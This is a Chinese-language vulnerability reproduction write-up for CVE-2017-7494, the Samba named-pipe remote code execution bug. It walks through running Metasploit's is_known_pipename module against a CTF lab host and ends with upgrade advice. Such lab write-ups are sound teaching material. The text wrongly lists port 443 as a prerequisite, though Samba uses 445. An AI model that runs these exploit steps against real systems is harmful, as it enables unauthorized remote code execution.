[漏洞复现]Linux版的"永恒之蓝"
1.漏洞信息
samba远程命令执行漏洞 | |
---|---|
CVE编号 | CVE-2017-7494 |
影响版本 | Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本 |
危害 | 命令执行/代码执行 |
级别 | 高 |
2.漏洞原理
samba运行连接一个远程的命名管道,并且会在连接前调用is_known_pipename()函数验证管道名称是否合法,但是该函数不会检查管道名称中的特殊字符,加载了使用该名称的动态链接库,导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码,相当于Linux版的永恒之蓝
3.利用条件
目标开放了443端口 具有共享文件写入权限 共享目录的网络路径
4.漏洞复现
为了给大家提供一个漏洞复现的环境,找到了两个环境给大家使用
漏洞环境 | |
---|---|
环境一(自己搭建) | https://pan.baidu.com/s/1QueT0MgKqTK-4Y1pIThHSw (提取码:gc29) |
环境二 | http://ctf.vfree.ltd/challenges#easy_smb-113 (请勿破坏环境,谢谢大佬们~) |
1.打开kali,打开命令行
2.打开msfconsole,由于metasploit已经集成了该漏洞利用的payload,所以直接用kali复现即可
3.payload名字是is_known_pipename,如果忘了或者不知道payload的路径,可以输入命令
search is_known_pipename
这个关键词去搜索payload路径,返回了
exploit/linux/samba/is_known_pipename
扩展一下知识,返回的路径第一个exploit就是攻击的意思,攻击模块,还有一个模块叫做auxiliary,意思是验证某个漏洞是否存在,这两个也是较为常用
使用攻击模块,键入以下命令
use exploit/linux/samba/is_known_pipename
键入命令查看需要配置的选项
show options
在Required一列中,凡是是标明yes的,都要填入信息,也就是说利用该漏洞,要填入RHOST和RPORT,由于环境二是搭建在docker上面的,我把445端口映射到10003端口,这里的445要修改成10003,执行一下两个命令
// set+Name+内容
set rhost ctf.vfree.ltd
set rport 10003
然后在使用show options去查看是否设置成功
可以看到已经设置成功,接下来使用
exploit
命令发起攻击
稍等片刻,如果出现了session 1的字样则代表攻击成功
执行命令验证
攻击成功
5.漏洞修复
修复建议 | |
---|---|
修复建议 | 升级samba到4.6.4/4.5.10/4.4.14甚至更高的版本 |
相关文章
- 【技术种草】cdn+轻量服务器+hugo=让博客“云原生”一下
- CLB运维&运营最佳实践 ---访问日志大洞察
- vnc方式登陆服务器
- 轻松学排序算法:眼睛直观感受几种常用排序算法
- 十二个经典的大数据项目
- 为什么使用 CDN 内容分发网络?
- 大数据——大数据默认端口号列表
- Weld 1.1.5.Final,JSR-299 的框架
- JavaFX 2012:彻底开源
- 提升as3程序性能的十大要点
- 通过凸面几何学进行独立于边际的在线多类学习
- 利用行动影响的规律性和部分已知的模型进行离线强化学习
- ModelLight:基于模型的交通信号控制的元强化学习
- 浅谈Visual Source Safe项目分支
- 基于先验知识的递归卡尔曼滤波的代理人联合状态和输入估计
- 结合网络结构和非线性恢复来提高声誉评估的性能
- 最佳实践丨云开发CloudBase多环境管理实践
- TimeVAE:用于生成多变量时间序列的变异自动编码器
- 具有线性阈值激活的神经网络:结构和算法
- 内网渗透之横向移动 -- 从域外向域内进行密码喷洒攻击